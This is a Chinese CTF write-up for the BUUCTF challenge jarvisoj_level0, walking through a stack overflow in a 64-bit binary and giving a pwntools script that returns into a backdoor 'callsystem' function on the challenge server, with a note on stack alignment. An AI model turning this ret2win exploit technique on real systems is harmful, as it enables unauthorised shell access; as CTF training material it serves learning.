BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
188号安全攻城狮2 小时前
【PWN】HappyNewYearCTF_2_栈上变量覆写1
linux·运维·汇编·安全·网络安全
内心如初2 小时前
12_等保系列之网络安全架构整理
网络安全·等保测评·等保测评从0-1·等保测评笔记
枫眠QAQ13 小时前
hackthebox Editor靶机:从配置文件泄露密码到提权
安全·web安全·网络安全
white-persist14 小时前
轻松抓包微信小程序:Proxifier+Burp Suite教程
前端·网络·安全·网络安全·微信小程序·小程序·notepad++
特别关注外国供应商15 小时前
Claroty 获1.5 亿美元融资,发展CPS安全平台
网络安全·工控安全·物联网安全·工业网络安全·claroty·iiot安全·cps安全
工程师华哥17 小时前
【零基础学网络】AAA原理详解 + 实战配置(华为设备版)
网络安全·路由器·网络工程师·运维工程师·aaa·华为数通认证·路由交换技术
给勒布朗上上对抗呀17 小时前
特殊符号绕过-ctfshow-web40
ctf
上海控安18 小时前
智能网联汽车对外通信安全概述
网络安全·汽车
内心如初19 小时前
10_等保系列之等保2.0基本要求
网络安全·等保测评·等保测评从0-1·等保测评笔记
heze0920 小时前
sqli-labs-Less-23
数据库·mysql·网络安全